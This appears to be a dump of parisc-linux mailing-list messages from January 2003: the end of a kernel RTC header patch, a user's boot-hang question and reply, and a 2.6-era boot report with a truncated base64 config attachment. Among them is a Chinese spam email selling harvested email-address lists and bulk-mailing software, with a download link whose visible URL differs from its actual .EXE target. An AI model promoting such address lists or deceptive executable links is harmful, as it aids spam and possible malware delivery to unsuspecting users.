+	struct pdc_tod tod_data;
+	long int days, rem, y;
+	const unsigned short int *ip;
+
+	if (pdc_tod_read(&tod_data) < 0)
+		return (RTC_24H | RTC_BATT_BAD);
+
+	
+	// most of the remainder of this function is:
+	//	Copyright (C) 1991, 1993, 1997, 1998 Free Software Foundation, Inc.
+	//	This was originally a part of the GNU C Library.
+	//      It is distributed under the GPL, and was swiped from offtime.c
+
+
+	days = tod_data.tod_sec / SECS_PER_DAY;
+	rem = tod_data.tod_sec % SECS_PER_DAY;
+
+	wtime->tm_hour = rem / SECS_PER_HOUR;
+	rem %= SECS_PER_HOUR;
+	wtime->tm_min = rem / 60;
+	wtime->tm_sec = rem % 60;
+
+	y = 1970;
+	
+#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
+#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
+
+	while (days < 0 || days >= (__isleap (y) ? 366 : 365))
+	{
+		/* Guess a corrected year, assuming 365 days per year.  */
+		long int yg = y + days / 365 - (days % 365 < 0);
+
+		/* Adjust DAYS and Y to match the guessed year.  */
+		days -= ((yg - y) * 365
+			 + LEAPS_THRU_END_OF (yg - 1)
+			 - LEAPS_THRU_END_OF (y - 1));
+		y = yg;
+	}
+	wtime->tm_year = y - 1900;
+#undef DIV
+#undef LEAPS_THRU_END_OF
+
+	ip = __mon_yday[__isleap(y)];
+	for (y = 11; days < (long int) ip[y]; --y)
+		continue;
+	days -= ip[y];
+	wtime->tm_mon = y;
+	wtime->tm_mday = days + 1;
+	
+	return (RTC_24H);
+}
+
+static inline int set_rtc_time(struct rtc_time *wtime)
+{
+	u_int32_t secs;
+
+	secs = mktime(wtime->tm_year + 1900, wtime->tm_mon + 1, wtime->tm_mday, 
+		      wtime->tm_hour, wtime->tm_min, wtime->tm_sec);
+
+	if (pdc_tod_set(secs, 0) < 0)
+		return -EINVAL;
+	else
+		return 0;
+}
+
+static inline unsigned int get_rtc_ss(void)
+{
+	return -EINVAL;
+}
+
+static inline int get_rtc_pll(struct rtc_pll_info *pll)
+{
+	return -EINVAL;
+}
+static inline int set_rtc_pll(struct rtc_pll_info *pll)
+{
+	return -EINVAL;
+}
+
+#endif /* __KERNEL__ */
+
+#endif /* _ASM__RTC_H */
+

--Boundary-00=_WWHI+IE+7Hhk3eF--



From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ƹƷѰ֣@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] вƷƹӪרҿΪṩѵķ
Date: Sun, 12 Jan 03 04:55:28 йʱʱ
Lines: 141
Approved: news@gmane.org
Message-ID: <20030111205937.38FB5482D@dsl2.external.hp.com>
Reply-To: @dsl2.external.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
    boundary="----=_NextPart_000_0005_3E59002A.BB0B007E"
X-Trace: ger.gmane.org 1416622099 19749 80.91.229.3 (22 Nov 2014 02:08:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 13:59:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ojs-home (unknown [218.17.68.137])
	by dsl2.external.hp.com (Postfix) with SMTP id 38FB5482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 11 Jan 2003 13:59:37 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17343

------=_NextPart_000_0005_3E59002A.BB0B007E
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0006_3E59002A.BB0B007E"


------=_NextPart_001_0006_3E59002A.BB0B007E
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

óıʽдʼʹóıʽ


---------------------------
=C8=E7=B9=FB=D5=E2=B7=E2=D3=CA=BC=FE=B4=F2=C8=C5=C4=FA=C1=CB=A3=AC=B7=B3=C7=
=EB=CB=E6=CA=D6=C9=BE=B5=F4=A3=AC=B2=A2=C7=EB=BC=FB=C1=C2=A1=A3
=C8=F4=C4=FA=B2=BB=CF=A3=CD=FB=D4=D9=B4=CE=CA=D5=B5=BD=CE=D2=C3=C7=B5=C4=D3=
=CA=BC=FE=A3=AC=C7=EB=B5=E3=BB=F7=D5=E2=C0=EF=A1=A3

http://mailttttt.59i.net/DB_Agents/user_cancel.asp?id=3D4768&language=3Dgb=
2312




------=_NextPart_001_0006_3E59002A.BB0B007E
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: quoted-printable


<html>
<head>
<title>=CE=DE=B1=EA=CC=E2=CE=C4=B5=B5</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dgb2312">=

</head>

<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<table width=3D"680" border=3D"0" cellspacing=3D"3" cellpadding=3D"0" alig=
n=3D"center">
  <tr> 
    <td height=3D"49"> 
      <table cellspacing=3D0 bordercolordark=3D#ffffff 
            cellpadding=3D0 width=3D"100%" bordercolorlight=3D#000000 bord=
er=3D1>
        <tbody> 
        <tr> 
          <td width=3D660 colspan=3D3 height=3D18><font><font >1.=D3=CA=D6=
=B7=C8=BA=BC=DB=B8=F1=A3=BA</font></font><font  
color=3D#ffffff><font color=3D#ffffff><b><font color=3D"#000000"> &nbsp; <=
/font></b></font></font><font><font><a 
href=3D"http://www.www99.com/email/email.txt" 
target=3D_blank><font 
color=3D#ffffff><font color=3D#ffffff><font color=3D"#FF6600">=B2=E9=BF=B4=
=D3=CA=D6=B7</font></font></font><font color=3D"#FF6600">=D1=F9=C6=B7</font=
></a></font></font></td>
        </tr>
        <tr> 
          <td width=3D660 colspan=3D3 height=3D21><b><font color=3D"#FF000=
0">A.</font></b>=B9=BA=C2=F2=C8=AB=B9=FA(9800=CD=F2=B8=F6,=C3=BB=D3=D0=B7=D6=
=C0=E0)=D3=CA=D6=B7=D7=DC=BF=E2=A3=BA200=D4=AA</td>
        </tr>
        <tr> 
          <td width=3D660 colspan=3D3 height=3D10><b><font color=3D"#FF000=
0">B.</font></b>=B9=BA=C2=F2=B7=D6=B8=F7<font color=3D"#000000">=B5=D8=C7=F8=
(1500=CD=F2)=D7=DC</font>=D3=CA=D6=B7=A3=BA200=D4=AA</td>
        </tr>
        <tr> 
          <td width=3D660 colspan=3D3 height=3D17><font color=3D"#000000">=
<b><font color=3D"#FF0000">C.</font></b>=B9=BA=C2=F2=B7=D6=B8=F7=D0=D0=D2=B5=
(600=CD=F2)=D7=DC</font>=D3=CA=D6=B7<font color=3D"#000000">=A3=BA200=D4=AA=
</font></td>
        </tr>
        <tr> 
          <td width=3D660 colspan=3D3 height=3D17><font color=3D"#FF0000">=
<b>D.</b></font>=B9=BA=C2=F2=D7=DB=BA=CF(<b><font color=3D"#FF0000">A.B.C</=
font></b>)=D3=CA=D6=B7=A3=BA500=D4=AA</td>
        </tr>
        <tr> 
          <td width=3D660 colspan=3D3 height=3D3>2.=B9=BA=C2=F2=B7=BD=CA=BD=
:<font color=3D"#FF0000">=CE=AA=CC=E1=B8=DF=B0=EC=CA=C2=D0=A7=C2=CA,=B7=B2=B9=
=BA=C2=F2=B8=BD=B9=E2=C5=CC=B5=C4=B2=FA=C6=B7=BE=F9=B2=C9=D3=C3=CC=D8=BF=EC=
=D7=A8=B5=DD=BC=C4=B3=F6,=B9=CA=C3=BF=D6=D6=B2=FA=C6=B7=D0=EB=C1=ED=BC=D3=CC=
=D8=BF=EC=D7=A8=B5=DD=B7=D1:30=D4=AA=A1=A3<a href=3D"http://www.cici.cc/">=CF=
=EA=C7=E9=C7=EB=BD=F8</a></font></td>
        </tr>
        </tbody> 
      </table>
    </td>
  </tr>
  <tr> 
    <td height=3D"91"> =A1=A1=A1=A1<font color=3D"#FF0000">=C3=C0=B6=FB=CD=
=F8=C2=E7=D3=AA=CF=FA=D7=A8=BC=D2</font>=CA=C7=D2=BB=BF=EE=D7=D4=B6=AF=CE=AA=
=C6=F3=D2=B5=B7=A2=B2=BC=D0=C5=CF=A2=B5=C4=C8=ED=BC=FE.=B1=BE=C8=ED=BC=FE=BC=
=AF=D0=C5=CF=A2=B7=A2=B2=BC=A1=A2=D0=C5=CF=A2=CB=D1=CB=F7=A1=A2=D3=CA=BC=FE=
=C8=BA=B7=A2=A1=A2=D3=CA=BC=FE=CB=D1=CB=F7=A1=A2=D2=FD=C7=E6=B5=C7=C2=BC=CE=
=AA=D2=BB=CC=E5.=CD=F8=C9=CF=D0=C5=CF=A2=B7=A2=B2=BC=CA=C7=C6=F3=D2=B5=D4=DA=
=CD=F8=C9=CF=BD=F8=D0=D0=D0=FB=B4=AB=B5=C4=D6=D8=D2=AA=CA=D6=B6=CE=A3=AC=C8=
=CE=BA=CE=B4=AB=CD=B3=B5=C4=D0=FB=B4=AB=B7=BD=B7=A8,=B6=BC=B2=BB=BC=B0=CD=F8=
=C2=E7=D0=C5=CF=A2=B7=A2=B2=BC=C4=C7=D1=F9=B3=C9=B1=BE=B5=CD=C1=AE=A1=A2=D3=
=D0=D0=A7.<br>
      =A1=A1=A1=A1=CF=D6=B4=FA=C6=F3=D2=B5=B5=C4=B3=C9=B9=A6=B1=D8=D0=EB=D2=
=C0=BF=BF=B9=FD=D3=B2=B5=C4=D6=CA=C1=BF=BA=CD=C7=BF=B4=F3=B5=C4=B9=E3=B8=E6=
=D6=A7=B3=D6.=B1=BE=C8=ED=BC=FE=BE=CD=CE=AA=C4=FA=B5=C4=C6=F3=D2=B5=BF=AA=B1=
=D9=C1=CB=D2=BB=CC=F5=CD=F8=C9=CF=D7=D4=B6=AF=B7=A2=B2=BC=B4=F3=C1=BF=D0=C5=
=CF=A2=B5=C4=BD=DD=BE=B6.=C4=FA=D6=BB=D0=E8=C6=F4=B6=AF=B1=BE=C8=ED=BC=FE,=BD=
=AB=C6=F3=D2=B5=B5=C4=CF=EA=CF=B8=D0=C5=CF=A2=B0=B4=D2=AA=C7=F3=CC=EE=D0=B4=
=D2=BB=B4=CE,=C7=E1=C7=E1=D2=BB=B5=E3=D0=C5=CF=A2=B1=E3=BB=E1=D7=D4=B6=AF=B7=
=A2=B2=BC=B5=BD=C9=CF=C7=A7=B8=F6=C9=CC=D2=B5=CD=F8=D5=BE=D6=D0=A1=A3<a hre=
f=3D"http://www.www999.com/ewww/index.asp" target=3D"_blank">=CF=EA=C7=E9=BD=
=F8=C8=EB</a></td>
  </tr>
  <tr>
    <td> =A1=A1=A1=A1<font color=3D"#FF0000">=C3=C0=B6=FB=CD=F8=C2=E7=D3=AA=
=CF=FA=D7=A8=BC=D2=C8=ED=BC=FE</font>=3D1860=D4=AA =C1=ED=CB=CD:=C8=AB=B9=FA=
(9800=B6=E0=CD=F2)=D3=CA=D6=B7=D7=DC=BF=E2+=B9=FA=BC=CA(1000=B6=E0=CD=F2)=D3=
=CA=D6=B7=BF=E2</td>
  </tr>
  <tr> 
    <td height=3D"2">=A1=A1=A1=A1<font color=3D"#FF0000">=C3=C0=B6=FB=CD=F8=
=C2=E7=D3=AA=CF=FA=D7=A8=BC=D2=C8=ED=BC=FE</font>=C7=EB=CF=C2=D4=D8=CA=D4=D3=
=C3(4.5M)=A3=BA<a href=3D"http://www.www999.com/soft/merenet.EXE">http://be=
stemail.yeah.net/soft/etrain.zip</a></td>
  </tr>
</table>
<hr><table width=3D658 border=3D0><tr><td valign=3Dtop><a href=3Dhttp://ma=
ilttttt.59i.net/DB_Agents/user_cancel.asp?id=3D4768&language=3Dgb2312><P>=C8=
=E7=B9=FB=D5=E2=B7=E2=D3=CA=BC=FE=B4=F2=C8=C5=C4=FA=C1=CB=A3=AC=B7=B3=C7=EB=
=CB=E6=CA=D6=C9=BE=B5=F4=A3=AC=B2=A2=C7=EB=BC=FB=C1=C2=A1=A3<BR>=C8=F4=C4=FA=
=B2=BB=CF=A3=CD=FB=D4=D9=B4=CE=CA=D5=B5=BD=CE=D2=C3=C7=B5=C4=D3=CA=BC=FE=A3=
=AC=C7=EB=B5=E3=BB=F7=D5=E2=C0=EF=A1=A3</P></a></td></tr></table></body>
</html>


------=_NextPart_001_0006_3E59002A.BB0B007E--



------=_NextPart_000_0005_3E59002A.BB0B007E--




From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Marc Eisenbarth" <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cannot boot after installing kernel!
Date: Sat, 11 Jan 2003 15:28:21 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <000001c2b9b8$5e163570$3e73a218@ko>
References: <200301110847.h0B8l7KL004719@mailer.berkom.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622099 19752 80.91.229.3 (22 Nov 2014 02:08:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:19 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 14:28:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 464C44830
	for <parisc-linux@parisc-linux.org>; Sat, 11 Jan 2003 14:28:32 -0700 (MST)
Original-Received: from ko [24.162.115.62] by mail.centraltx.com with ESMTP
  (SMTPD32-7.04) id AC36353F0244; Sat, 11 Jan 2003 15:27:18 -0600
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
Importance: Normal
In-Reply-To: <200301110847.h0B8l7KL004719@mailer.berkom.de>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Declude-Sender: marc@centraltx.com [24.162.115.62]
X-Declude-Spoolname: D8c36244.SMD
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17344

Well, things were going great on my C180 until just a few minutes ago
when I did:

Apt-get install kernel-image-2.4.19-32 in order to upgrade from my
2.4.17-32 kernel. Now, when I boot it hangs at:

1               1      16   f0 Palo
2            3141    4094   82 swap
5              17    3140   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3687647 bytes @ 0x48000

Information: No console specified on kernel command line. This is
normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_ke
rnel=5/boot/vmlinux'
Selected kernel: /boot/vmlinux from partition 5
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 2503500 mediaptr 0x1000
Segment 1 load 00364000 size 674056 mediaptr 0x265000
Segment 2 load 0040c000 size 286720 mediaptr 0x30a000
Segment 3 load 00458000 size 32768 mediaptr 0x350000
Segment 4 load 0048efb8 size 110864 mediaptr 0x358fb8
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Any way I can boot back into the working kernel??

Thanks,
-Marc



From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot boot after installing kernel!
Date: Sat, 11 Jan 2003 21:36:41 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20030111213641.F26554@parcelfarce.linux.theplanet.co.uk>
References: <200301110847.h0B8l7KL004719@mailer.berkom.de> <000001c2b9b8$5e163570$3e73a218@ko>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622099 19757 80.91.229.3 (22 Nov 2014 02:08:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Marc Eisenbarth <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 14:36:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76C0A4831
	for <parisc-linux@parisc-linux.org>; Sat, 11 Jan 2003 14:36:43 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18XTJ3-0000EY-00; Sat, 11 Jan 2003 21:36:41 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <000001c2b9b8$5e163570$3e73a218@ko>; from marc@centraltx.com on Sat, Jan 11, 2003 at 03:28:21PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17345

On Sat, Jan 11, 2003 at 03:28:21PM -0600, Marc Eisenbarth wrote:
> Well, things were going great on my C180 until just a few minutes ago
> when I did:

i'd think this is not actually hung, it's just taking a very long time to
boot.  can you leave it for 10 minutes or so and see if it comes to life?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5.56-pa0 64bit successful boot
Date: Sun, 12 Jan 2003 02:10:41 +0100
Organization: ESIEE
Lines: 154
Approved: news@gmane.org
Message-ID: <20030112021041.32cfbb84.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="Multipart_Sun__12_Jan_2003_02:10:41_+0100_1024c010"
X-Trace: ger.gmane.org 1416622100 19760 80.91.229.3 (22 Nov 2014 02:08:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 18:10:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCF45482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 11 Jan 2003 18:10:44 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id h0C1AgiL003520
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 02:10:43 +0100
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17346

This is a multi-part message in MIME format.

--Multipart_Sun__12_Jan_2003_02:10:41_+0100_1024c010
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

Hi pa-ckers!

I just tested fresh 2.5.56 and successfully booted 64bit UP kernel.
Linux mkhppa3 2.5.56-pa0 #2 Sun Jan 12 01:34:36 CET 2003 parisc64 unknown unknown GNU/Linux

(native build with gcc 3.0.4 unofficial debs)

I had some errors with SCSI and SERIAL (see the attached dmesg and .config).
I'll have a look at them ASAP.

I'm gonna let the box run under load (seti), and see how it behaves.

I guess we can now bump pa nb to 'pa1' since the kernel has been booted ;)

FWIW, SMP kernel with the exact same configuration died just at:
POSIX conformance testing by UNIFIX

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

--Multipart_Sun__12_Jan_2003_02:10:41_+0100_1024c010
Content-Type: application/octet-stream;
 name="config.gz"
Content-Disposition: attachment;
 filename="config.gz"
Content-Transfer-Encoding: base64

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
